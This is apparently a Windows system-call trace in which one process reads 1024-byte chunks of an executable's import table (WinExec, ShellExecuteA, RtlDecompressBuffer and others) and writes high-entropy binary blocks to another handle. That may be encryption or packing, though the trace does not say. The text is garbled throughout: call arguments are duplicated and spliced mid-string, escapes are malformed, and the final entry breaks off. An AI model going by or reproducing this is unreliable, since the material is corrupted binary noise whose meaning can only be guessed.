 01094  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "nt\0\0\0\0VirtualQuery\0\0\0\0WideCharToMultiByte\0\0\0MultiByteToWideChar\0\0\0lstrlenA\0\0\0\0lstrcpynA\0\0\0LoadLibraryExA\0\0\0\0GetThreadLocale\0\0\0GetStartupInfoA\0\0\0GetProcAddress\0\0\0\0GetModuleHandleA\0\0\0\0GetModuleFileNameA\0\0\0\0GetLocaleInfoA\0\0\0\0GetLastError\0\0\0\0GetCommandLineA\0\0\0FreeLibrary\0\0\0FindFirstFileA\0\0\0\0FindClose\0\0\0ExitProcess\0\0\0WriteFile\0\0\0UnhandledExceptionFilter\0\0\0\0SetFilePointer\0\0\0\0SetEndOfFile\0\0\0\0RtlUnwind\0\0\0ReadFile\0\0\0\0RaiseException\0\0\0\0GetStdHandle\0\0\0\0GetFileSize\0\0\0GetFileType\0\0\0CreateFileA\0\0\0CloseHandle\0", ) , ) == 0x0
 01095  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\32\244:\340\357\377\216:\210\214\302p\17\345\11$\2\265m\237g;A\263\351x\12\352Q\224F\226\2346Z9%br\26\322\337\313\234i\202\222\24m\244\275|\240\331\251\37\264\335\3\20p\332\263\313y\350$\225`\321\265\221p\372AM0o\335Gc\230\251\15\10\205\355Gy\345\255\345\20;\237\201V\2556|\220\254\257\223k,\315\227\341\334M<\351\223\12\2207'\363\274k\274}\373\323Oa\372\267Id\324\244/S\261\274\5\241\273\211\342)\244|\370\305!\272K~\202\244\17\365SS\200I\7\264lRmp\335\351Q\374\373,\3473/*\360b\365\266'\12\345X*\301\16:C\223'\377]&\314[#\15\20\235\317U\2666\213\243\313\272zck\346\206\2421\262^\360\26\230Z\3\300\246M\362\346\12q\301\333\211\234g\352)\242\16\34\237|\374\352t\220\2\362>\24\216\2217\4\15\11Q\245a\302\14\242\27\362%N)\14S\334\355\375\0\2057\2114\213\330\363\302\376\4\304\340\2736\221\205\377\31?\333\265\334\373\217:\177{\230\221\27\221\300W\3\266Z\243\22~\34\33\354V\327\2460*\21\354uy#C\273\0\1\372\272+h\223;\254\207\177\23\332\370\252\335\364\21\340\215\360\341XIbG\272\325&Q\223\256B$\233\361A\17w\335\270\21\313\353J\251\211&\361a\34\224\232M?\312\4:\230o\277[A`\330\260\33z\344\222\350\370U\177j\203\353\1\325$\264.\251\220u\310\247p\236\254\\270\205>\232\25`M?m6\327\32d<2\341\324\267D\16\33\276Q3P\363/\213N\267\275\2672\220c\311q\244\267\353\\240P\267\311\256CQ\0\260Mb\300\261\370H\271q\231:~\232)U\207\230\314\2254\201\240\7\257\376E\323\376Fb\254\217U", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01096  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "eateBrushIndirect\0kernel32.dll\0\0\0\0WritePrivateProfileStringA\0\0\0\0WriteFile\0\0\0WinExec\0\0\0WaitForSingleObject\0\0\0VirtualQuery\0\0\0\0Sleep\0\0\0SizeofResource\0\0\0\0SetFilePointer\0\0\0\0SetEvent\0\0\0\0ResetEvent\0\0\0\0ReadFile\0\0\0\0MultiByteToWideChar\0\0\0MulDiv\0\0\0\0LockResource\0\0\0\0LoadResource\0\0\0\0LoadLibraryA\0\0\0\0LeaveCriticalSection\0\0\0\0InitializeCriticalSection\0\0\0GetVersionExA\0\0\0GetTickCount\0\0\0\0GetThreadLocale\0\0\0GetTempPathA\0\0\0\0GetSystemDirectoryA\0\0\0GetStdHandle\0\0\0\0GetProcAddress\0\0\0\0GetModuleHandleA\0\0\0\0GetModuleFileNameA\0\0", ) , ) == 0x0
 01097  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\351\1\234\227\312\312\260D\5\23|v[\35512\354\241r\272N\221\372\32b\275\264<\211\306\240C\276\2\254\13\373"k\266.&\252\238\25\350\266Gf \331\242\370\326\262\361o\12\217\310\333\273\23\203\256\17-\312\5\276V\220\37\216\344\2125\'\263C\3q\251l\312.\334\2420\27\301\376\255T\31\341\375\3259y\213\36\253\36\270\36\2744m\240\220|\345\333\7\331\231\247\3209T\353\261\5\231\256&Df\347P\22\352\234\207\224\5\2\201\326\325i+IG]P\314Db\16\33|\306\216\274\222\310\237}\211\2024\316\32\212\3\334\245N\341\3012\260\244\246c\372D\304W\260\321\357k\226%O\264\373\272\321{\211\22G7\211\247\316\303\246\265\373D\250\6\257E\362\324K\1\201\213\22\373q)\227?\2114\373H\327m\310;\373K9\255:0\323\274n\320\241@\360\264\376Tx\30+\375nD3\353v@\17\201\313\275T\264\343,y\\372\27Ap\274\354\216\312\221\374Y\217\321\264\272y\212\301\2\330\12))G\274\3753\240\266\264\372\343\335\204\246N0\327\300\230\201\240=\230\376m\\366\305i\24\364\2776F\301#\203\335\232\\304\35'\323L\225\34\357\253\251q\326mn_\353\14\323\276\206h\302{\204\202U\242\262\233\12\341\357\146l\252Q\30\357\335\303\372\363\307J\224y'\371\304\252\4\370\371\343\207[4`\35\237\31jo\275\236\367\353y\332\215j\33rqA\345R\361\323wy\16\230\211\310f\312O\257\2323q\253\266\17\257\221h\357\3231q\353\203\221:7\222_\260\232\333\324\1E\33\344\304\21\16\217#\347\322u\226As\377\25\221\253\257\354\2504\33E\363=\247\3$\312\367\355RZ~\322\276o\340\344~\370 \273\342\21\22~\10!d\343\343j\340\231", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) k\266.&\252\238\25\350\266Gf \331\242\370\326\262\361o\12\217\310\333\273\23\203\256\17-\312\5\276V\220\37\216\344\2125\'\263C\3q\251l\312.\334\2420\27\301\376\255T\31\341\375\3259y\213\36\253\36\270\36\2744m\240\220|\345\333\7\331\231\247\3209T\353\261\5\231\256&Df\347P\22\352\234\207\224\5\2\201\326\325i+IG]P\314Db\16\33|\306\216\274\222\310\237}\211\2024\316\32\212\3\334\245N\341\3012\260\244\246c\372D\304W\260\321\357k\226%O\264\373\272\321{\211\22G7\211\247\316\303\246\265\373D\250\6\257E\362\324K\1\201\213\22\373q)\227?\2114\373H\327m\310;\373K9\255:0\323\274n\320\241@\360\264\376Tx\30+\375nD3\353v@\17\201\313\275T\264\343,y\\372\27Ap\274\354\216\312\221\374Y\217\321\264\272y\212\301\2\330\12))G\274\3753\240\266\264\372\343\335\204\246N0\327\300\230\201\240=\230\376m\\366\305i\24\364\2776F\301#\203\335\232\\304\35'\323L\225\34\357\253\251q\326mn_\353\14\323\276\206h\302{\204\202U\242\262\233\12\341\357\146l\252Q\30\357\335\303\372\363\307J\224y'\371\304\252\4\370\371\343\207[4`\35\237\31jo\275\236\367\353y\332\215j\33rqA\345R\361\323wy\16\230\211\310f\312O\257\2323q\253\266\17\257\221h\357\3231q\353\203\221:7\222_\260\232\333\324\1E\33\344\304\21\16\217#\347\322u\226As\377\25\221\253\257\354\2504\33E\363=\247\3$\312\367\355RZ~\322\276o\340\344~\370 \273\342\21\22~\10!d\343\343j\340\231", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01098  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "fo\0\0\0\0SysFreeString\0ole32.dll\0\0\0CoUninitialize\0\0\0\0CoInitialize\0\0kernel32.dll\0\0\0\0Sleep\0oleaut32.dll\0\0\0\0SafeArrayPtrOfIndex\0\0\0SafeArrayGetUBound\0\0\0\0SafeArrayGetLBound\0\0\0\0SafeArrayCreate\0\0\0VariantChangeType\0\0\0VariantCopy\0\0\0VariantClear\0\0\0\0VariantInit\0ntdll.dll\0\0\0RtlDecompressBuffer\0shell32.dll\0\0\0ShellExecuteA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01099  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\263n\375\244\353a\313\255\354p\240P1\272\373\364\231\253W\341{\223\277\352\240+[\210\341\315\235\351w\343\310~&T\357\232\313\314\266\342\277I9.\200r\20\12:0\27\353i\320JT\306\261&\241\251\2108\224k3\30Fh\335p1\317*A!\203\305p\200\11\256\264op\315\217\346\375\317\3 \15M\250\5z\342.\16P\30\362h\\277\257\375Z\357\15\245\271qs\306D\277W#\206|\177\21^\323\373J\334\264\343\263\235l\2529\301/\2543\364\337\352D\374\205\217.\34Hf\307\354\257\211r\4\232Z\236\304C\242\21c^6\275\223\336\345\307X\231\352\317\5"\207^\207\1>\232\260\220\303\342\362r\234m\35~\362\335\246\12\333Pi9\230U\20b\250-#\240cc\251\221U\347\17\10\200\40\357\361\276\230\0\202.\345\334K\320Jk\232Y\225\361\342i\2\200t\237O\317uM\347\331\244\261t\3019\271s\225#\17\346\33jp0\3257\275\364E\21\332\341=\0$L\244f\272x\320\314\372\261*\216\371\263\274\20\306\241}\5\277\273\1\13\273\343\367[\333(7`\327D3\357\302iw/\252\335\17\220\2623\217\353\353\305F\210\356\5\10\230_y-C9\324\261\261\305\236z\312x\31\275)!\305\212"\240[\346\212\352\212\261hg0\26\373\244b\14\1\347\312~\233\355\264\251W\21\356\310~\2\345\332Uj\255b\32\27\242\23\300\343b,\205\310\357\313\332%\310\234\363\310\353;\213\4F\223\4\224i\277\262\34\307\210&\310\360\313\326\230\253o3E\20\302\102\360\247\321Au\243\315\372\3020\206\23\22\237\17t;\274U\320@g\227\361\230\273\235\317*c\0=R\15\3636h(M\255N\10\250\307\237\376\241\271\343N/5\355n\325\320Y\344\11\34\254\317\3", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \207^\207\1>\232\260\220\303\342\362r\234m\35~\362\335\246\12\333Pi9\230U\20b\250-#\240cc\251\221U\347\17\10\200\40\357\361\276\230\0\202.\345\334K\320Jk\232Y\225\361\342i\2\200t\237O\317uM\347\331\244\261t\3019\271s\225#\17\346\33jp0\3257\275\364E\21\332\341=\0$L\244f\272x\320\314\372\261*\216\371\263\274\20\306\241}\5\277\273\1\13\273\343\367[\333(7`\327D3\357\302iw/\252\335\17\220\2623\217\353\353\305F\210\356\5\10\230_y-C9\324\261\261\305\236z\312x\31\275)!\305\212 (92, 0, 0, 0, "\263n\375\244\353a\313\255\354p\240P1\272\373\364\231\253W\341{\223\277\352\240+[\210\341\315\235\351w\343\310~&T\357\232\313\314\266\342\277I9.\200r\20\12:0\27\353i\320JT\306\261&\241\251\2108\224k3\30Fh\335p1\317*A!\203\305p\200\11\256\264op\315\217\346\375\317\3 \15M\250\5z\342.\16P\30\362h\\277\257\375Z\357\15\245\271qs\306D\277W#\206|\177\21^\323\373J\334\264\343\263\235l\2529\301/\2543\364\337\352D\374\205\217.\34Hf\307\354\257\211r\4\232Z\236\304C\242\21c^6\275\223\336\345\307X\231\352\317\5"\207^\207\1>\232\260\220\303\342\362r\234m\35~\362\335\246\12\333Pi9\230U\20b\250-#\240cc\251\221U\347\17\10\200\40\357\361\276\230\0\202.\345\334K\320Jk\232Y\225\361\342i\2\200t\237O\317uM\347\331\244\261t\3019\271s\225#\17\346\33jp0\3257\275\364E\21\332\341=\0$L\244f\272x\320\314\372\261*\216\371\263\274\20\306\241}\5\277\273\1\13\273\343\367[\333(7`\327D3\357\302iw/\252\335\17\220\2623\217\353\353\305F\210\356\5\10\230_y-C9\324\261\261\305\236z\312x\31\275)!\305\212"\240[\346\212\352\212\261hg0\26\373\244b\14\1\347\312~\233\355\264\251W\21\356\310~\2\345\332Uj\255b\32\27\242\23\300\343b,\205\310\357\313\332%\310\234\363\310\353;\213\4F\223\4\224i\277\262\34\307\210&\310\360\313\326\230\253o3E\20\302\102\360\247\321Au\243\315\372\3020\206\23\22\237\17t;\274U\320@g\227\361\230\273\235\317*c\0=R\15\3636h(M\255N\10\250\307\237\376\241\271\343N/5\355n\325\320Y\344\11\34\254\317\3", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01100  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\20\0\0<\1\0\0\00\140\340<0H0L0P0T0X0\0`0d0p0}0\2610\2650\2710\3210\3400\3440\01\101\141\201\241\301\341 1$1(1B1J1R1Z1b1j1r1z1\2021\2121\2221\2321\2421\2521\2621\2721\3021\3121\3221\3321\3421\3521\3621\3721\22\122\222\322"2*222:2B2J2R2Z2b2j2r2z2\2022\2122\2222\2322\3062\3162\3262\3362\3424\3704\115,5F5\5k5r5}5\2155\3025\3205\3755\56\126/686K6V6g6\2006\3206\3266\3346\3476+7B7Q7X7\48\248*8B8U8b8\1778\2108\2768\3108\3408\3468\3768\269Q9g9\2569\3139\3279\3529\3639\3729\0:\25:!:>:G:\205:\247:\17;U;k;\311;\6<\37O>_>y>\13?\33?\0 \0\0\244\0\0\0Z0c0u0\2010\2140\3622\33\343/3J3P3i3v3~3\2073\2253\2423\3473\74\2245!6-6l6\2416\3016\307n7\2357\2627Z8\2738\3218\2779\3059\3439\5:\20:\340:\344:\352:\356:\370:\13;\17;\25;\31;);.;S;~;\266;\276;\313;\321;\337;\356;\373;\16<&4>8><>@>D>H>L>P>T>\0\0\00\0\0h\0\0\0i0v0\2050\2200\2660\2770", ) 2*222:2B2J2R2Z2b2j2r2z2\2022\2122\2222\2322\3062\3162\3262\3362\3424\3704\115,5F5\5k5r5}5\2155\3025\3205\3755\56\126/686K6V6g6\2006\3206\3266\3346\3476+7B7Q7X7\48\248*8B8U8b8\1778\2108\2768\3108\3408\3468\3768\269Q9g9\2569\3139\3279\3529\3639\3729\0:\25:!:>:G:\205:\247:\17;U;k;\311;\6<\37203=\233=\0>O>_>y>\13?\33?\0 \0\0\244\0\0\0Z0c0u0\2010\2140\3622\33\343/3J3P3i3v3~3\2073\2253\2423\3473\74\2245!6-6l6\2416\3016\307n7\2357\2627Z8\2738\3218\2779\3059\3439\5:\20:\340:\344:\352:\356:\370:\13;\17;\25;\31;);.;S;~;\266;\276;\313;\321;\337;\356;\373;\16<&225<\372<\17=\34=<=\15>4>8><>@>D>H>L>P>T>\0\0\00\0\0h\0\0\0i0v0\2050\2200\2660\2770", ) == 0x0
 01101  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\221A\370$\177j\332\300\3671\32\321\353|\236\301\243 \32E\305n\304v\21\27\270\350\230L\236\233+O:\202 \316p\26\235\374\30\317\240\304\322\305\366\346\37h\255\3524D\343;\0\362\262:b\357C\222\2632z\213\374o+\210;\2\331p\315\201f\233-\316P\222\204\354$}\325\12\37h\270v\3`\300\22\240\337.v,\3\16yh)\375\354\366'\365b"\314(T\323\215:\307\277\13\244\242p\205 9\31\2\271\267\2111\376\362\225\36\35\15A\32\350\242;\200-c\221agM\200\36\0\362B0\323\313\277$\33\314\216\2<\353 \370\244-\320\13\17\350\301k\155\222\270\214\343\2\222\330t\17\234>\252\375\231\14l\304\1\310\352u\313\330\301wt\211\377\11\214\216\2517\1+\227\261\355\354_H\36\1\26\256\346\226\3\352+\265\272\245\325\31\252a\220^#\32\3433\320$\306\6b\255\275I\200\352\222 Y\363\375|\331J\350\203\247g%\357\324\322oG\233\333\366d\204\234\373\336\0\275\23\216Z\205\276\221?\235K`1^\263\22\350.\2[\224\244>\205?\253Z\324\343\33.&\212q0\311\35Q\205o\304\347Q]U\212\235H\25\360q\353\200\0\221\330\3065<\334\241 ([\233\272\250,\10\314\276!c0M \351\274\272\25\21D\261\27\216\12\213\330i~\313\341lx\276[\250\236u\34\2126\310\366\235\2457\25\27\326\377\3004\203\217\226.\201\251\201\242\322\306B\3107\317\212\202J$\357\315n7\367\23\35\352\3772\354j\233\21\305e\230\307\0\241\10\263\26^YD+\346\203\373#G\351\251\250m\362k\13\377\354\226>\240\304\346\231\6"L\30m\6d\246\277^/\324\337\273r\223_\322\255\220\355\22O\361;.\222[T\207f\230\373\265\20\365Gj\374", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \314(T\323\215:\307\277\13\244\242p\205 9\31\2\271\267\2111\376\362\225\36\35\15A\32\350\242;\200-c\221agM\200\36\0\362B0\323\313\277$\33\314\216\2<\353 \370\244-\320\13\17\350\301k\155\222\270\214\343\2\222\330t\17\234>\252\375\231\14l\304\1\310\352u\313\330\301wt\211\377\11\214\216\2517\1+\227\261\355\354_H\36\1\26\256\346\226\3\352+\265\272\245\325\31\252a\220^#\32\3433\320$\306\6b\255\275I\200\352\222 Y\363\375|\331J\350\203\247g%\357\324\322oG\233\333\366d\204\234\373\336\0\275\23\216Z\205\276\221?\235K`1^\263\22\350.\2[\224\244>\205?\253Z\324\343\33.&\212q0\311\35Q\205o\304\347Q]U\212\235H\25\360q\353\200\0\221\330\3065<\334\241 ([\233\272\250,\10\314\276!c0M \351\274\272\25\21D\261\27\216\12\213\330i~\313\341lx\276[\250\236u\34\2126\310\366\235\2457\25\27\326\377\3004\203\217\226.\201\251\201\242\322\306B\3107\317\212\202J$\357\315n7\367\23\35\352\3772\354j\233\21\305e\230\307\0\241\10\263\26^YD+\346\203\373#G\351\251\250m\362k\13\377\354\226>\240\304\346\231\6 (92, 0, 0, 0, "\221A\370$\177j\332\300\3671\32\321\353|\236\301\243 \32E\305n\304v\21\27\270\350\230L\236\233+O:\202 \316p\26\235\374\30\317\240\304\322\305\366\346\37h\255\3524D\343;\0\362\262:b\357C\222\2632z\213\374o+\210;\2\331p\315\201f\233-\316P\222\204\354$}\325\12\37h\270v\3`\300\22\240\337.v,\3\16yh)\375\354\366'\365b"\314(T\323\215:\307\277\13\244\242p\205 9\31\2\271\267\2111\376\362\225\36\35\15A\32\350\242;\200-c\221agM\200\36\0\362B0\323\313\277$\33\314\216\2<\353 \370\244-\320\13\17\350\301k\155\222\270\214\343\2\222\330t\17\234>\252\375\231\14l\304\1\310\352u\313\330\301wt\211\377\11\214\216\2517\1+\227\261\355\354_H\36\1\26\256\346\226\3\352+\265\272\245\325\31\252a\220^#\32\3433\320$\306\6b\255\275I\200\352\222 Y\363\375|\331J\350\203\247g%\357\324\322oG\233\333\366d\204\234\373\336\0\275\23\216Z\205\276\221?\235K`1^\263\22\350.\2[\224\244>\205?\253Z\324\343\33.&\212q0\311\35Q\205o\304\347Q]U\212\235H\25\360q\353\200\0\221\330\3065<\334\241 ([\233\272\250,\10\314\276!c0M \351\274\272\25\21D\261\27\216\12\213\330i~\313\341lx\276[\250\236u\34\2126\310\366\235\2457\25\27\326\377\3004\203\217\226.\201\251\201\242\322\306B\3107\317\212\202J$\357\315n7\367\23\35\352\3772\354j\233\21\305e\230\307\0\241\10\263\26^YD+\346\203\373#G\351\251\250m\362k\13\377\354\226>\240\304\346\231\6"L\30m\6d\246\277^/\324\337\273r\223_\322\255\220\355\22O\361;.\222[T\207f\230\373\265\20\365Gj\374", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01102  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\227\327"7*727:7B7J7_7k7s7{7\2167\2627+8b8;9\2019\17:O:\232:\274:\326:\336:\346:\362:\372:\2;\12;\20;\30; ;(;0;8;@;H;P;X;`;h;p;x;\200;\210;\220;\230;\240;\250;\260;\270;\300;\310;\320;\330;\340;\350;\360;\370;\0<\10<\20<\30< <(<0<8<@\10>\14>\20>\24>\30>\34> >$>(>6>H>h>p>t>x>|>\200>\204>\210>\214>\220>\244>\304>\314>\320>\324>\330>\334>\340>\344>\350>\354>\0? ?(?,?0?4?8?7*727:7B7J7_7k7s7{7\2167\2627+8b8;9\2019\17:O:\232:\274:\326:\336:\346:\362:\372:\2;\12;\20;\30; ;(;0;8;@;H;P;X;`;h;p;x;\200;\210;\220;\230;\240;\250;\260;\270;\300;\310;\320;\330;\340;\350;\360;\370;\0<\10<\20<\30< <(<0<8<@200<\210<\220<\230<\240<\250<\260<\270<\300<\310<\320<\330<\340<\350<\360<\370<\0=\10=\20=\30= =(=0=8=@=H=P=X=`=h=p=x=\200=\210=\220=\230=\240=\250=\260=\270=\300=\310=\320=\330=\340=\354=\0>\10>\14>\20>\24>\30>\34> >$>(>6>H>h>p>t>x>|>\200>\204>\210>\214>\220>\244>\304>\314>\320>\324>\330>\334>\340>\344>\350>\354>\0? ?(?,?0?4?8?200?\204?\210?\214?\220?\224?\230?\234?\240?\260?\320?\330?\334?\340?\344?\350?\354?\360?\364?\370?\0\0\0p\0\0X\2\0\0\2000080<0@0D0H0L0P0T0X0h0\2100\2200\2240\2300\2340\2400\2440\2500\2540\2600\3000\3400\3500\3540\3600\3640\3700\3740\01\41\101\30181@1D1H1L1P1T1X1\1`1t1\2241\2341\2401\2441\2501\2541\2601\2641\2701\2741\3141\3541\3641", ) == 0x0
 01103  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\23d\211\321\27I\332L\257B\214|\221\227LwY\267\30\263L|\23h)\321\205\20m\227\326\203\332I\35\234\13-\261c\220'b\215\344\242>\375\14\333\17\17\26\227BC\322e\2457\232\3553b\0\233h\10\277X\317\247\217\254\35\356p\250*$v!Zot\7\26b\233\21\206\17o\257F}\361w\202s\16\335G\217\331\373\270\342\4\261\375\236\257k)\301c9\313ZrxvN`\3653Q\320\305<'\276\364\6\222\241\2376\276yc\314!\30#:\335*\27\300\333\324\216\337\252\342\233\213\352\327n\216"\206\310b\274\/Zj\361iZ\336\346\310\7\12JJ\332\3009\214^\340\11\331O\227\324\332&\330/\2719o\200\261\334\312\276T\306\372\357\2033\331Hu\273\226%\315#\31H\366\214]\30IV\373\235\316v\266T\344\204\235v\215\376Or5\237\221)\325\254\252~\266 \177-\251\312\200\245\230\33\236\365\310x\362y2\344\20\327\7\237\273ij\337\270WNj\2714\247\355Hsf\277e\361\17R\317\264\242\230S\376\277\352\325\25\304\227\308\370\30\3377\354A\342w\333\31\14A\322T\374\260N\235\206\224\222\2aF\270\352U\352@v$`\32\231_\312\341\265\5%\344o\377\222$|z\11a.'\361\325\250\215\325\375\313\320@\347\12\356e\217\7n\\327\255\322\312\335}\22\37\306\223\305u\333\6\214&r\11\10_\3/i\247,\31\375)\5lO\313\25I\34@\233\326\331@\202\330\352s$z\356\322\210\3g\324w\0\215\220\247\15DJ\361\303um\314\365\353[#\312K8\341\215\324\22\237&\7\373 [\139\366\365\361N\356\364\24\213\3336\327;<`\32\313xY\355>\231\225\2\330\224W\371\202\214\361\300O\351\325\254\223h*\366U\304T", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \206\310b\274\/Zj\361iZ\336\346\310\7\12JJ\332\3009\214^\340\11\331O\227\324\332&\330/\2719o\200\261\334\312\276T\306\372\357\2033\331Hu\273\226%\315#\31H\366\214]\30IV\373\235\316v\266T\344\204\235v\215\376Or5\237\221)\325\254\252~\266 \177-\251\312\200\245\230\33\236\365\310x\362y2\344\20\327\7\237\273ij\337\270WNj\2714\247\355Hsf\277e\361\17R\317\264\242\230S\376\277\352\325\25\304\227\308\370\30\3377\354A\342w\333\31\14A\322T\374\260N\235\206\224\222\2aF\270\352U\352@v$`\32\231_\312\341\265\5%\344o\377\222$|z\11a.'\361\325\250\215\325\375\313\320@\347\12\356e\217\7n\\327\255\322\312\335}\22\37\306\223\305u\333\6\214&r\11\10_\3/i\247,\31\375)\5lO\313\25I\34@\233\326\331@\202\330\352s$z\356\322\210\3g\324w\0\215\220\247\15DJ\361\303um\314\365\353[#\312K8\341\215\324\22\237&\7\373 [\139\366\365\361N\356\364\24\213\3336\327;<`\32\313xY\355>\231\225\2\330\224W\371\202\214\361\300O\351\325\254\223h*\366U\304T", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01104  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\2314\2354\2414\2454q5x5:6\3417\158\258\358%8-8\2228\3018\3348\3408\3448\3508\3548):f;{;\206<\25='=\317=\21?+?5?\233?\0\0\0\220\0\0\210\0\0\0w0\332K324h4\2714\3524^5\2505\3435\3625q6\3036\267\2057\2147\3117\3157\3217\3257\3317\3357\3417\3457\3517\3557\3617\3657\3717\3757\18\58\3568\109f9\2159\2419\2659\3469%:::O:<;P;\233;\327;\23<3\220>\216?\0\240\0\0\260\0\0\0-0\3510.131x1\3561\172!2`2e2s2\2272\3072|3\2303\3403\3663\34\104\324f4~4\2204\2504\3244/5A5X5j5\2775\3555\336L6^6u6\2076\3547.9F9K9W9z9\2479\2549\3069\3539\35:W:a:\207:\243:\302:\324:\376:\22;C;R;l;~;\271;\331;\1w>|>\204>\256>\277>\310>}?\207?\321?\354?\365?\0\0\0\260\0\0\374\0\0\0\2120\2710H1\2021\202'2I2W2^2v2}2\2202\2502\3072\3172\3332\33393d3s3\2073\3323\3413\2004\2644\3164\3354\2315\2535\3655\76\336g6\2216\3066\3256\3446\07.757?7E7L7V7[7a7f7l7q7w7~7\2047\2117\2177\2247\2327\2417\2477", ) , ) == 0x0
 01105  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "~\377aO\244\366\17k\16e\177\374~\362\3041\223C\343\313\261#\220\5l\211;NM~\31\356}\26#\231A\306\364<(\334"\243\264i|`\264\277\374d\270B[\36\34\303v\0>\272_\201\\236_\5\353X\3640\330<\3\3ZT\27\4R\237b\366\310\35S\355\13\7\11\17\206\336-\346\373\351\360g\220\307\333\327\362=\242r(6\310)-\221\272\333j7u\202\26\21n\255\231~\216\257\244\233c\237\375;\271\26\27\221a[\332\257r\203\1\277\15\206\2p\340g\352\0\260\364c\314\15\226A\231\324\243\213u\21z\230+\265A\236\230 \212\367\236\265>V\214\364\337\257\225cq\315A\376\370\235u\226\370Z\241D\310\274w\4|\317&\236,\362\22N\204\370p\220\10\16L\26\324\255)\242\333\201\330 \14\363MN\265'\313\16\343\324(-\326n}<(\300\237\204\224d\323h\3307D\226\344\211/\263\321\223a\266yK\272(\306\307\1\264\371%\232\33aX%#Y\355\10Ars#\245\246\364\255I'\211\272\207j/\240k\247gaD\273:%\277\334^\232E\221'C\264$\331\230\350X\331\335\337\26_\2156\32-\1\334\325\7Cw+\367,$\17H6\305S;U ?8i)\11\32oKh\203+kg\263\5o_\12\215L/W\272\273]Ri#:\0\300\331\236\351\305\262\376\220\353\16\250\341=\260\177IX\177\263)\34\222\177\352\347\313\321\346\374J \353c?\301\323\240M\340>\271s\26\27\273\311\210&b~@m\257\362\4\327|g\205\371\247\225"\360\272\321R\350\266hgOG\206.\4q\227\230y\24\355\7\3200M;\301\327\302\5\12!\273Sz\252C\16\327\314\24\33\214I?\223\3755\27\322\256WP\30\277L\365o\233\1\355", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \243\264i|`\264\277\374d\270B[\36\34\303v\0>\272_\201\\236_\5\353X\3640\330<\3\3ZT\27\4R\237b\366\310\35S\355\13\7\11\17\206\336-\346\373\351\360g\220\307\333\327\362=\242r(6\310)-\221\272\333j7u\202\26\21n\255\231~\216\257\244\233c\237\375;\271\26\27\221a[\332\257r\203\1\277\15\206\2p\340g\352\0\260\364c\314\15\226A\231\324\243\213u\21z\230+\265A\236\230 \212\367\236\265>V\214\364\337\257\225cq\315A\376\370\235u\226\370Z\241D\310\274w\4|\317&\236,\362\22N\204\370p\220\10\16L\26\324\255)\242\333\201\330 \14\363MN\265'\313\16\343\324(-\326n}<(\300\237\204\224d\323h\3307D\226\344\211/\263\321\223a\266yK\272(\306\307\1\264\371%\232\33aX%#Y\355\10Ars#\245\246\364\255I'\211\272\207j/\240k\247gaD\273:%\277\334^\232E\221'C\264$\331\230\350X\331\335\337\26_\2156\32-\1\334\325\7Cw+\367,$\17H6\305S;U ?8i)\11\32oKh\203+kg\263\5o_\12\215L/W\272\273]Ri#:\0\300\331\236\351\305\262\376\220\353\16\250\341=\260\177IX\177\263)\34\222\177\352\347\313\321\346\374J \353c?\301\323\240M\340>\271s\26\27\273\311\210&b~@m\257\362\4\327|g\205\371\247\225 (92, 0, 0, 0, 